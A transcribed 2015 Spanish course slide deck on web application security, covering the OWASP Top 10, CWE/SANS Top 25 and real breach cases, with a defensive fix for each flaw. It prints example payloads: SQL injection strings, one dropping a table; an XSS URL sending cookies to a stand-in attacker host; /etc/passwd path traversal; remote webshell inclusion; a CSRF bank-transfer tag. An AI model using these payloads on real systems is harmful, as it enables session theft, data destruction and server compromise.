Google's Just Not That Into You: Understanding Core Updates & Search IntentGoogle's Just Not That Into You: Understanding Core Updates & Search Intent
Google's Just Not That Into You: Understanding Core Updates & Search Intent
 
How to have difficult conversations
How to have difficult conversations How to have difficult conversations
How to have difficult conversations
 
Introduction to Data Science
Introduction to Data ScienceIntroduction to Data Science
Introduction to Data Science
 
Time Management & Productivity - Best Practices
Time Management & Productivity -  Best PracticesTime Management & Productivity -  Best Practices
Time Management & Productivity - Best Practices
 
The six step guide to practical project management
The six step guide to practical project managementThe six step guide to practical project management
The six step guide to practical project management
 
Beginners Guide to TikTok for Search - Rachel Pearson - We are Tilt __ Bright...
Beginners Guide to TikTok for Search - Rachel Pearson - We are Tilt __ Bright...Beginners Guide to TikTok for Search - Rachel Pearson - We are Tilt __ Bright...
Beginners Guide to TikTok for Search - Rachel Pearson - We are Tilt __ Bright...
 
Unlocking the Power of ChatGPT and AI in Testing - A Real-World Look, present...
Unlocking the Power of ChatGPT and AI in Testing - A Real-World Look, present...Unlocking the Power of ChatGPT and AI in Testing - A Real-World Look, present...
Unlocking the Power of ChatGPT and AI in Testing - A Real-World Look, present...
 
12 Ways to Increase Your Influence at Work
12 Ways to Increase Your Influence at Work12 Ways to Increase Your Influence at Work
12 Ways to Increase Your Influence at Work
 
ChatGPT webinar slides
ChatGPT webinar slidesChatGPT webinar slides
ChatGPT webinar slides
 

Cursos e-ghost 2015: Vulnerabilidades de Seguridad en Aplicaciones Web

  • 1. VULNERABILIDADES DE SEGURIDAD EN APLICACIONES WEB Universidad de Deusto Julio 2015 Ander Izquierdo
  • 2. CONTENIDO 1. El problema 2. Casos reales de mala seguridad 3. Estadísticas, cifras, y datos para asustar 4. Proyecto OWASP Top 10 5. CWE/SANS Top 25 errores más peligrosos 6. Otras referencias sobre seguridad 7. Preguntas
  • 4. EL PROBLEMA: Tecnologías Heredadas • La web emplea tecnologías heredadas que hoy en día se usan para fines diferentes a los que fueron concebidas. • Ejemplo: HTTP, un protocolo sin estado. – Necesario utilizar mecanismos externos para mantener el estado. – No hay negociación de conexión ni mantenimiento de sesión. • El atacante sólo necesita enviar una petición de página con las cabeceras apropiadas.
  • 5. EL PROBLEMA: Responsabilidades Como consecuencia: 1. La aplicación debe protegerse frente a intentos de entrada de usuarios malintencionados. 2. La aplicación deben proteger a los usuarios legítimos de los usuarios malintencionados.
  • 6. EL PROBLEMA: Responsabilidades El peso de la seguridad recae en el programador. (Aunque en la práctica haya soluciones que nos ayuden).
  • 7. EL PROBLEMA: Exceso de confianza ¿Confiar en el usuario? ¡Jamás! • La validación JavaScript no sirve como mecanismo de seguridad. • Es necesario hacer validación en el servidor. – Y hay que validarlo TODO.
  • 8. EL PROBLEMA: Exceso de confianza • Es muy habitual que los programadores confíen en: – Valores transmitidos en cookies. – Cabeceras HTTP. – Campos en formularios: • Desplegables • Radio buttons • Hidden fields
  • 9. EL PROBLEMA: Exceso de confianza Un atacante puede: • Manipular cualquier fragmento de información transmitido: – Parámetros – Cookies – Cabeceras • Evitar fácilmente cualquier mecanismo de control implementado en lado cliente. • Enviar peticiones en cualquier orden, enviar parámetros en diferente formato a lo esperado, o no enviarlos. – Cualquier suposición de uso que haga el desarrollador puede ser violada.
  • 10. EL PROBLEMA: Exceso de confianza Una entrada inesperada produce un resultado impredecible.
  • 11. 2. CASOS REALES DE MALA SEGURIDAD (y sus consecuencias)
  • 12. CASOS REALES DE MALA SEGURIDAD En 2011, Sony Network Entertainment sufrió una filtración de datos. Se comprometieron: • Usuarios y contraseñas. • Direcciones postales • Direcciones de email válidas. • No supieron determinar si se habían filtrado datos de tarjetas de crédito.
  • 13. CASOS REALES DE MALA SEGURIDAD Facebook: • En 2008: se descubrió que era posible acceder a fotografías privadas de millones de usuarios. – El ID de las fotografías era predecible. – En 2011 se descubrió un error similar. • En 2010: se descubrió un procedimiento para obtener datos confidenciales de un usuario a partir de su email. – Fue utilizado por spammers y scammers para enviar correo basura y realizar estafas.
  • 14. CASOS REALES DE MALA SEGURIDAD Tuenti: • En mayo de 2009: se descubre vulnerabilidad XSS en los tablones públicos que permite, entre otras, robar la sesión del usuario. • En agosto de 2009: se descubre vulnerabilidad de inyección SQL en la versión móvil de la web, permitiendo obtener datos confidenciales de los usuarios (nombres reales, teléfonos, emails, contraseñas en MD5, etc).
  • 15. CASOS REALES DE MALA SEGURIDAD Twitter: • Numerosos problemas de XSS a lo largo de su historia, todos fácilmente explotables. • En mayo de 2012 se publicó en PasteBin una relación de 55.000 usuarios y contraseñas.
  • 16. CASOS REALES DE MALA SEGURIDAD LinkedIn: • En junio de 2012: se publicaron más de 6 millones de contraseñas cifradas. – Muchas fueron descifradas al momento gracias a las tablas Rainbow.
  • 17. CASOS REALES DE MALA SEGURIDAD Google tampoco se queda exento: • En 2007: se descubre vulnerabilidad CSRF en Gmail que permite acceder a los mensajes de la víctima. • En 2009: se publica un procedimiento llamado Surf Jacking para el robo de la cookie de sesión a pesar del SSL. – Tardaron 3 meses en arreglarlo desde que fueron avisados. – Muchas webs de bancos españoles también eran vulnerables. • Mucho tiempo después, seguían siéndolo.
  • 18. CASOS REALES DE MALA SEGURIDAD https://haveibeenpwned.com/
  • 19. 4. ESTADÍSTICAS, CIFRAS, Y DATOS PARA ASUSTAR
  • 20. ESTADÍSTICAS, CIFRAS, Y DATOS PARA ASUSTAR Aceptabilidad certificación Verafied en primera entrega. (Veracode. State of Software Security Report Volume 3. 2011.)
  • 21. ESTADÍSTICAS, CIFRAS, Y DATOS PARA ASUSTAR Tiempo para alcanzar la aceptabilidad Verafied. (Veracode. State of Software Security Report Volume 3. 2011.)
  • 22. ESTADÍSTICAS, CIFRAS, Y DATOS PARA ASUSTAR Presencia de alguna vulnerabilidad Top 10 OWASP en primera entrega. (Veracode. State of Software Security Report Volume 6. 2015.)
  • 23. ESTADÍSTICAS, CIFRAS, Y DATOS PARA ASUSTAR Probabilidad de encontrar una vulnerabilidad (Veracode. State of Software Security Report Volume 3. 2011.)
  • 25. PROYECTO OWASP TOP 10 OWASP = Open Web Application Security Project Proyecto de código abierto para determinar y combatir las causas que hacen que el software sea inseguro. Enfoque de seguridad en todas sus dimensiones: • Personas • Procesos • Tecnologías
  • 26. PROYECTO OWASP TOP 10 OWASP Top 10: • Establece una lista de debilidades ordenada por riesgo, y no por número de apariciones. • Es mundialmente referenciada en libros, publicaciones, y organizaciones dedicadas a la seguridad (MITRE, Veracode, etc). • Publicada en 2003, 2004, 2007, 2010 y 2013.
  • 27. PROYECTO OWASP TOP 10 ¿Qué es un riesgo? Un riesgo es cada una de las rutas que puede recorrer un atacante para hacerte daño.
  • 28. PROYECTO OWASP TOP 10 Para valorar un riesgo debemos preguntarnos: • ¿Es frecuente que ocurra? • ¿Es fácil descubrirlo? • ¿Es fácil explotarlo? • ¿Cuál será el impacto técnico? • ¿Cuál será el impacto en el negocio?
  • 29. PROYECTO OWASP TOP 10 Tener una vulnerabilidad != Ser vulnerable
  • 30. PROYECTO OWASP TOP 10 • A1 – Inyección • A2 – Pérdida de autenticación y gestión de sesiones • A3 – Secuencia de Comandos en Sitios Cruzados (XSS) • A4 – Referencia Directa Insegura a Objetos • A5 – Configuración de Seguridad Incorrecta • A6 – Exposición de datos sensibles • A7 – Ausencia de Control de Acceso a Funciones • A8 – Falsificación de Peticiones en Sitios Cruzados (CSRF) • A9 – Utilización de componentes con vulnerabilidades conocidas • A10 – Redirecciones y reenvíos no validados
  • 31. PROYECTO OWASP TOP 10 A1 – Inyección
  • 32. PROYECTO OWASP TOP 10: A1 - Inyección EL PROBLEMA Construir comandos o consultas enviando al intérprete datos no confiables sin filtrar. En general, componer el String del comando o consulta concatenando variables procedentes del usuario sin control alguno.
  • 33. PROYECTO OWASP TOP 10: A1 - Inyección EJEMPLO 1 $query = "SELECT id FROM usuarios WHERE email='$email' AND password='$password'"; Supongamos que introducimos el siguiente valor en la caja "Correo": cualquiercosa' OR 1=1 LIMIT 1;-- Lo que enviamos al intérprete sería: SELECT id FROM usuarios WHERE email='cualquiercosa' OR 1=1 LIMIT 1; --' AND password=''
  • 34. PROYECTO OWASP TOP 10: A1 - Inyección EJEMPLO 2 Si enviamos: ' OR id='1';-- Obtenemos: SELECT id FROM usuarios WHERE email='' OR id='1'; --' AND password=''
  • 35. PROYECTO OWASP TOP 10: A1 - Inyección EJEMPLO 3 Si enviamos: ' OR 1=1; DROP TABLE usuarios;-- Obtenemos: SELECT id FROM usuarios WHERE email='' OR 1=1; DROP TABLE usuarios; --' AND password=''
  • 36. PROYECTO OWASP TOP 10: A1 - Inyección RIESGOS • Acceder a datos confidenciales • Manipular información • Suplantar identidad • Vía de acceso a otro tipo de ataques (ej: XSS)
  • 37. PROYECTO OWASP TOP 10: A1 - Inyección LA SOLUCIÓN Solución principal: Usar una API parametrizada Ejemplo: uso de PreparedStatement en Java String query = "SELECT * FROM User WHERE userId = ? "; PreparedStatement prepStmt = con.prepareStatement(query); prepStmt.setString(1, userId); ResultSet rs = prepStmt.executeQuery();
  • 38. PROYECTO OWASP TOP 10: A1 - Inyección LA SOLUCIÓN Solución alternativa: Filtrar caracteres especiales Ejemplo: funciones de escape en PHP $ciudad = $mysqli->real_escape_string($ciudad);
  • 39. PROYECTO OWASP TOP 10: A1 - Inyección ¡HAY QUE TRATAR TODOS LOS PARÁMETROS! Incluidos los campos de tipo: • Desplegables • Radio buttons • Ocultos • Widgets de calendario • En peticiones GET y POST
  • 40. PROYECTO OWASP TOP 10 A2 – Pérdida de autenticación y gestión de sesiones
  • 41. PROYECTO OWASP TOP 10: A2 – Autenticación EL PROBLEMA Errores de implementación que permiten: • Obtener hashes de contraseñas • Obtener contraseñas en claro • Manipular el token de la sesión El objetivo: asumir la identidad de otros usuarios. – Habitualmente la del administrador.
  • 42. PROYECTO OWASP TOP 10: A2 – Autenticación EL PROBLEMA Errores habituales: • No cifrar en BBDD las contraseñas. • Se pueden adivinar o sobreescribir las contraseñas a través de funciones débiles de gestión de la sesión. • Los IDs de sesión son expuestos en la URL. • Los IDs de sesión son predecibles. • Los IDs de sesión no cambian al hacer login (ataques de fijación de la sesión). • Los IDs de sesión no expiran al hacer logout.
  • 43. PROYECTO OWASP TOP 10: A2 – Autenticación EJEMPLO 1 IDs de sesión expuestos en la URL http://www.tiendaguay.com/producto1?sessionid=4U1OU3OUA9FFMJMF
  • 44. PROYECTO OWASP TOP 10: A2 – Autenticación EJEMPLO 2 Ataque de fijación de la sesión El problema: • La aplicación crea una sesión anónima cuando el usuario accede por primera vez. • Cuando el usuario se identifica, se actualiza a una sesión autenticada sin cambiar el token. El Ataque: • El atacante obtiene primero un token anónimo con una visita normal. • El atacante usa algún engaño para fijar ese token en el navegador de la víctima. (ej: sesión en URL, administradores de cookies…). • Una vez que la víctima ha hecho login, el atacante también estará dentro. En enero de 2015 se descubrió una vulnerabilidad de este tipo en Joomla 2.5
  • 45. PROYECTO OWASP TOP 10: A2 – Autenticación EJEMPLO 3 IDs de sesión no expiran al hacer logout Permitirían un ataque de fijación de sesión persistente. • El usuario hace logout. – El atacante pierde acceso. • El usuario vuelve a hacer login. – El atacante recupera el acceso sin hacer nada.
  • 46. PROYECTO OWASP TOP 10: A2 – Autenticación LA SOLUCIÓN Revisar y cumplir con los requisitos definidos en el Application Security Verification Standard (ASVS) de OWASP, secciones V2 y V3.
  • 47. PROYECTO OWASP TOP 10: A2 – Autenticación LA SOLUCIÓN Algunos puntos son: • Comprobar que la sesión caduca al de cierto tiempo. • Comprobar que la sesión caduca al hacer logout. • Comprobar que las páginas que requieren autenticación no son accesibles de forma anónima. • Comprobar que la sesión cambia al autenticar. • Aceptar sólo tokens de sesión generados por la aplicación. • Comprobar que los flags de las cookies de sesión sean correctos (httponly y desactivar método TRACE). • Comprobar que la aplicación no permite acceso concurrente con un mismo usuario desde dos orígenes distintos.
  • 48. PROYECTO OWASP TOP 10 A3 – Secuencia de Comandos en Sitios Cruzados (XSS)
  • 49. PROYECTO OWASP TOP 10: A3 – XSS EL PROBLEMA Mostrar en las páginas de salida datos introducidos por el usuario sin filtrar. Sin una correcta validación, la entrada será tratada como contenido activo por el navegador. Permite al atacante enviar contenido JavaScript, ActiveX, Flash o Silverlight al navegador de la víctima.
  • 50. PROYECTO OWASP TOP 10: A3 – XSS EL PROBLEMA Hay dos tipos: • Reflejado – Suele ser un ataque dirigido. • Persistente – Afecta potencialmente a todos los usuarios.
  • 51. PROYECTO OWASP TOP 10: A3 – XSS EJEMPLO 1 XSS Reflejado Ocurre cuando el atacante envía una URL a la víctima con parámetros GET manipulados. El código malicioso se incluye como valor del parámetro manipulado.
  • 52. PROYECTO OWASP TOP 10: A3 – XSS EJEMPLO 1 XSS Reflejado Comportamiento normal:
  • 53. PROYECTO OWASP TOP 10: A3 – XSS EJEMPLO 1 XSS Reflejado Ataque:
  • 54. PROYECTO OWASP TOP 10: A3 – XSS EJEMPLO 2 XSS Persistente Ataque:
  • 55. PROYECTO OWASP TOP 10: A3 – XSS EJEMPLO 3 Robo de sesión El atacante realiza un ataque dirigido enviando a la víctima la siguiente URL: http://www.google.com/?q=gatitos<script>docu ment.location='http://atacante.com/robar?ses ion='+document.cookie</script>
  • 56. PROYECTO OWASP TOP 10: A3 - XSS RIESGOS • Robo de sesiones y escalada de privilegios • Obtención de información confidencial • Denegación de servicio • Cambio de configuración del usuario • Acciones en nombre del usuario
  • 57. PROYECTO OWASP TOP 10: A3 – XSS EJEMPLOS REALES • Twitter: Retweet automático de un mensaje sólo con visualizarlo. • Youtube: Redireccionar a páginas con malware al visualizar un comentario. • Facebook: Robo de cookies de sesión.
  • 58. PROYECTO OWASP TOP 10: A3 – XSS LA SOLUCIÓN Filtrar y codificar la información de entrada antes de usarla como salida en HTML. • En general, sustituir los caracteres con significado en HTML por entidades sin significado: > se convierte en &gt; < se convierte en &lt; & se convierte en &amp; etc…
  • 59. PROYECTO OWASP TOP 10 A4 – Referencia directa insegura a objetos
  • 60. PROYECTO OWASP TOP 10: A4 – Referencias EL PROBLEMA Acceder a información en BBDD, objetos o archivos sin comprobar que el usuario tenga permisos sobre ellos.
  • 61. PROYECTO OWASP TOP 10: A4 – Referencias EJEMPLO 1 Insuficiente control de acceso a referencias http://victima.com/verfactura?fact=918433 El atacante prueba códigos aleatorios de facturas para tratar de acceder a documentos de otras personas.
  • 62. PROYECTO OWASP TOP 10: A4 – Referencias EJEMPLO 2 Path Traversal http://victima.com/verfactura?fact=918433.pdf El atacante intenta llegar a recursos del sistema a través del parámetro: http://victima.com/verfactura?fact=../../../etc/passwd
  • 63. PROYECTO OWASP TOP 10: A4 – Referencias EJEMPLO 3 Remote File Inclusion http://victima.com/index.php?p=facturas.php El código fuente de index.php contiene: include( $_GET['p'] ); El atacante puede abrir una webshell en el servidor de la víctima solicitando: http://victima.com/index.php?p=http://atacante/webshell.txt
  • 64. PROYECTO OWASP TOP 10: A4 – Referencias EJEMPLO 3 Remote File Inclusion En PHP, las inclusiones tienen muuuuuucho peligro: • include() • require() • include_once() • require_once()
  • 65. PROYECTO OWASP TOP 10: A4 – Referencias EJEMPLO 4 Remote File Inclusion (con extensión implícita) http://victima.com/index.php?p=facturas El código fuente de index.php contiene: include( $_GET['p'] . '.php' ); En PHP, el byte NULL 0 corta el procesamiento del string, ignorando el resto: http://victima.com/index.php?p=http://atacante/webshell.txt%00
  • 66. PROYECTO OWASP TOP 10: A4 – Referencias LA SOLUCIÓN • Utilizar referencias indirectas: – Ej: http://ejemplo.com/verfactura?fact=enero05 • Comprobar el acceso a todas las referencias directas. Se debe asegurar que el usuario está autorizado para acceder al objeto solicitado. • ¡Mucho cuidado con las inclusiones!
  • 67. PROYECTO OWASP TOP 10 A5 – Configuración de seguridad incorrecta
  • 68. PROYECTO OWASP TOP 10: A5 – Configuración EL PROBLEMA • Software sin actualizar. • Hay características innecesarias instaladas. • Las cuentas de usuario y/o contraseñas por defecto están sin cambiar. • Los mensajes de error están en modo debug.
  • 69. PROYECTO OWASP TOP 10: A5 – Configuración EJEMPLO 1 Software sin actualizar La versión de PHP instalada en el sistema es vulnerable a un ataque de buffer overflow que permite la ejecución arbitraria de código. (ejecución arbitraria de código = date por jodido)
  • 70. PROYECTO OWASP TOP 10: A5 – Configuración EJEMPLO 2 Contraseñas por defecto (caso real) Cientos de gasolineras en España permiten acceder con contraseña por defecto al panel de control de seguridad de las mismas. El fallo permite, entre otras cosas, manipular el sistema de alarmas de los tanques de combustible.
  • 71. PROYECTO OWASP TOP 10: A5 – Configuración EJEMPLO 3 Mensajes en modo debug
  • 72. PROYECTO OWASP TOP 10: A5 – Configuración EJEMPLO 3 Mensajes en modo debug
  • 73. PROYECTO OWASP TOP 10: A5 – Configuración EJEMPLO 3 Mensajes en modo debug
  • 74. PROYECTO OWASP TOP 10: A5 – Configuración EJEMPLO 3 Mensajes en modo debug
  • 75. PROYECTO OWASP TOP 10: A5 – Configuración LA SOLUCIÓN • Asegurar y configurar correctamente el entorno. • Eliminar el software no utilizado. • Tener un plan de actualizaciones de software. – Y llevarlo a cabo.
  • 76. PROYECTO OWASP TOP 10 A6 – Exposición de datos sensibles
  • 77. PROYECTO OWASP TOP 10: A6 – Datos Sensibles EL PROBLEMA • No cifrar en BBDD la información sensible. • No utilizar SSL. • Utilizar algún algoritmo criptográfico débil. • Incorrecta rotación o mala gestión de claves criptográficas. • Ficheros subidos al servidor que no deberían estar ahí.
  • 78. PROYECTO OWASP TOP 10: A6 – Datos Sensibles EJEMPLO 1 Datos sensibles sin cifrar Escenario: La aplicación almacena en BBDD las contraseñas de los usuarios sin cifrar. Un atacante consigue robar la tabla de usuarios mediante una vulnerabilidad de inyección SQL, y se lleva las contraseñas en claro.
  • 79. PROYECTO OWASP TOP 10: A6 – Datos Sensibles EJEMPLO 2 Datos sensibles sin cifrar (otra vez) Escenario: La aplicación almacena en BBDD las contraseñas de los usuarios con un hash sin salt. Un atacante consigue robar la tabla de usuarios mediante una vulnerabilidad de inyección SQL. Mediante tablas Rainbow consigue descifrar un gran porcentaje de contraseñas en minutos.
  • 80. EJEMPLO 3 Ficheros que no deberían estar ahí • .DS_Store • thumbs.db • desktop.ini • .svn • .bashrc (y demás ocultos de la $HOME) • *.java • Etc… PROYECTO OWASP TOP 10: A6 – Datos Sensibles
  • 81. PROYECTO OWASP TOP 10: A6 – Datos sensibles LA SOLUCIÓN • Cifra todos los datos sensibles que sean almacenados o transmitidos. – Utiliza hash con salt. • No almacenes información de más. • Utiliza algoritmos de cifrado fuerte. – MD5 está desaconsejado desde 2004 por problemas de colisiones. • Deshabilita "autocompletar" en formularios que contengan datos sensibles. • Deshabilita el cacheado de páginas que contengan datos sensibles.
  • 82. PROYECTO OWASP TOP 10 A7 – Ausencia de control de acceso a funciones
  • 83. PROYECTO OWASP TOP 10: A7 – Acceso EL PROBLEMA • La aplicación no controla adecuadamente el acceso a las páginas privadas. – ¿La interfaz de usuario muestra links hacia funcionalidades no autorizadas? – ¿Se comprueba la autorización en todas las páginas y acciones de formularios?
  • 84. PROYECTO OWASP TOP 10: A7 – Acceso EJEMPLO 1 El atacante envía una petición POST a un formulario privado para intentar una escalada de privilegios: http://ejemplo.com/admin/createuser.php
  • 85. PROYECTO OWASP TOP 10: A7 – Acceso LA SOLUCIÓN • Diseñar cuidadosamente el sistema de control de accesos. – Debería ser fácilmente auditable y parametrizable. • Realizar pruebas intensivas para garantizar la calidad de la implementación. – Hay que probar con usuarios no autenticados, y con usuarios con permisos limitados.
  • 86. PROYECTO OWASP TOP 10 A8 – Falsificación de Peticiones en Sitios Cruzados (CSRF)
  • 87. PROYECTO OWASP TOP 10: A8 – CSRF EL PROBLEMA Formularios que permiten a un atacante falsificar peticiones en nombre de la víctima.
  • 88. PROYECTO OWASP TOP 10: A8 – CSRF EL PROBLEMA Cuando la víctima visita un sitio malicioso controlado por el atacante, éste último puede: • Publicar mensajes en nombre de la víctima. • Transferir dinero. • Enviar emails. • Y en general, actuar sobre cualquier formulario de los sitios web donde la víctima mantenga sesión abierta.
  • 89. PROYECTO OWASP TOP 10: A8 – CSRF EJEMPLO 1 La víctima deja abierta la sesión con su banco online, y visita la web del atacante. La web maliciosa contiene una imagen con la siguiente definición: <img src="https://mibanco.com/areaclientes/transferir? cantidad=5000&cuentadestino=atacante" width="0" height="0" />
  • 90. PROYECTO OWASP TOP 10: A8 – CSRF EJEMPLO 1 Si la víctima está autenticada en su banco online, las peticiones falsificadas incluirán automáticamente la información de la sesión, autorizando la operación.
  • 91. PROYECTO OWASP TOP 10: A8 – CSRF EJEMPLO 2 Espionaje en cuentas de Gmail (2007) 1. El usuario inicia sesión en Gmail. 2. El usuario visita una página que contiene código malicioso. 3. El usuario envía (sin saberlo) una petición a Gmail, creando un filtro de correo para redirigir todo el correo entrante al atacante.
  • 92. PROYECTO OWASP TOP 10: A8 – CSRF LA SOLUCIÓN 1. Cuando el usuario solicita el formulario, generar un token único no predecible, y enviarlo en un campo oculto. 2. Cuando el usuario hace submit del formulario, comprobar que el token devuelto es el esperado. – Rechazar la petición si no coincide, pertenece a otro usuario, es vacío, o no está presente.
  • 93. PROYECTO OWASP TOP 10: A8 – CSRF OTRAS SOLUCIONES 1. Utilizar CAPTCHAs. 2. Solicitar re-autenticación para ciertas operaciones.
  • 94. PROYECTO OWASP TOP 10 A9 – Uso de Componentes con Vulnerabilidades Conocidas
  • 95. PROYECTO OWASP TOP 10: A9 – Componentes EL PROBLEMA Utilizar plugins, librerías, frameworks, o cualquier pieza de software con vulnerabilidades conocidas.
  • 96. PROYECTO OWASP TOP 10: A9 – Componentes EJEMPLO Utilizar un plugin de Wordpress que permite realizar un ataque XSS y compromete todo el sitio web.
  • 97. PROYECTO OWASP TOP 10: A9 – Componentes LA SOLUCIÓN • Revisar la base de datos CVE de MITRE. – Hay que hacer un inventario de todo el software, plugins, frameworks, especificando las versiones de cada uno de ellos, y comprobar si poseen vulnerabilidades conocidas. • Tener un plan de actualizaciones de software. – Y llevarlo a cabo.
  • 98. PROYECTO OWASP TOP 10 A10 – Redirecciones y Reenvíos No Válidos
  • 99. PROYECTO OWASP TOP 10: A10 – Redirecciones EL PROBLEMA Realizar redirecciones a otras partes de nuestra web, aceptando el destino de la redirección desde parámetro y sin filtrar.
  • 100. PROYECTO OWASP TOP 10: A10 – Redirecciones EJEMPLO 1 Escenario: Cuando un visitante intenta acceder a una parte privada de nuestra web, se le envía al formulario de login, especificando como parámetro la página privada que quería ver. El objetivo es enviarle a la página privada una vez haya iniciado la sesión.
  • 101. PROYECTO OWASP TOP 10: A10 – Redirecciones EJEMPLO 1 Comportamiento esperado: El usuario pide: http://ejemplo.com/foros/privado.php El sistema redirige a: http://ejemplo.com/foros/login.php?redirect=privado.php Cuando el usuario se identifica, el sistema le redirige automáticamente a la página que quería visitar.
  • 102. PROYECTO OWASP TOP 10: A10 – Redirecciones EJEMPLO 1 Ataque: El atacante compone y envía a la víctima la siguiente URL: http://ejemplo.com/foros/login?redirect=http:// sitiosuperhacker.com
  • 103. PROYECTO OWASP TOP 10: A10 – Redirecciones EJEMPLO 2 Escenario: Si el parámetro sólo llevara el nombre del archivo y nuestro código concatenara la extensión ".php", mitigaría el ataque… ¿Seguro?
  • 104. PROYECTO OWASP TOP 10: A10 – Redirecciones EJEMPLO 2 Comportamiento esperado: El usuario pide: http://ejemplo.com/foros/privado.php El sistema redirige a: http://ejemplo.com/foros/login.php?redirect=privado El destino final se calcula así: $destino = $_GET['redirect'] . '.php';
  • 105. PROYECTO OWASP TOP 10: A10 – Redirecciones EJEMPLO 2 Ataque: En PHP, el byte NULL 0 corta el procesamiento del string, ignorando el resto. El atacante compone y envía a la víctima la siguiente URL: http://ejemplo.com/foros/login?redirect=http://sitio superhacker.com%00
  • 106. PROYECTO OWASP TOP 10: A10 – Redirecciones LA SOLUCIÓN 1. Evitar redirecciones siempre que se pueda. 2. No utilizar parámetros manipulables por el usuario. 3. Si no queda más remedio: 1. Comprobar que el valor de destino sea válido y autorizado. 2. Utilizar valores de mapeo, en lugar de la dirección real de destino (o una porción de ésta). 3. Utilizar listas blancas.
  • 107. 5. CWE/SANS TOP 25 ERRORES MÁS PELIGROSOS
  • 108. CWE/SANS TOP 25 ERRORES MÁS PELIGROSOS 1. Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') 2. Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') 3. Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') 4. Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') 5. Missing Authentication for Critical Function 6. Missing Authorization 7. Use of Hard-coded Credentials 8. Missing Encryption of Sensitive Data 9. Unrestricted Upload of File with Dangerous Type 10. Reliance on Untrusted Inputs in a Security Decision 11. Execution with Unnecessary Privileges 12. Cross-Site Request Forgery (CSRF)
  • 109. CWE/SANS TOP 25 ERRORES MÁS PELIGROSOS 13. Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') 14. Download of Code Without Integrity Check 15. Incorrect Authorization 16. Inclusion of Functionality from Untrusted Control Sphere 17. Incorrect Permission Assignment for Critical Resource 18. Use of Potentially Dangerous Function 19. Use of a Broken or Risky Cryptographic Algorithm 20. Incorrect Calculation of Buffer Size 21. Improper Restriction of Excessive Authentication Attempts 22. URL Redirection to Untrusted Site ('Open Redirect') 23. Uncontrolled Format String 24. Integer Overflow or Wraparound 25. Use of a One-Way Hash without a Salt
  • 110. 6. OTRAS REFERENCIAS DE SEGURIDAD
  • 111. OTRAS REFERENCIAS DE SEGURIDAD • Recursos OWASP: – OWASP Application Security Verification Standard – OWASP Backend Security Project – OWASP PHP Security Project – OWASP Secure Coding Practices • Base de datos de debilidades CWE de MITRE. • Base de datos de vulnerabilidades CVE de MITRE. • Base de datos de vulnerabilidades de SecurityFocus. • Informes INCIBE (antes INTECO), dependiente del Ministerio de Industria, Energía y Turismo. • Informes de Veracode.
  • 113. ¿PREGUNTAS? ¡GRACIAS POR VUESTRA ATENCIÓN! Ander Izquierdo axelko@gmail.com
  • 114. Competición de Seguridad Informática organizada por INCIBE para la captación de nuevos talentos. Hay varias temáticas: • Ingeniería Inversa • Exploiting • Análisis Forense • Vulnerabilidades Web • Criptografía ¡Y empieza hoy! Del 17 hasta el 26 de julio.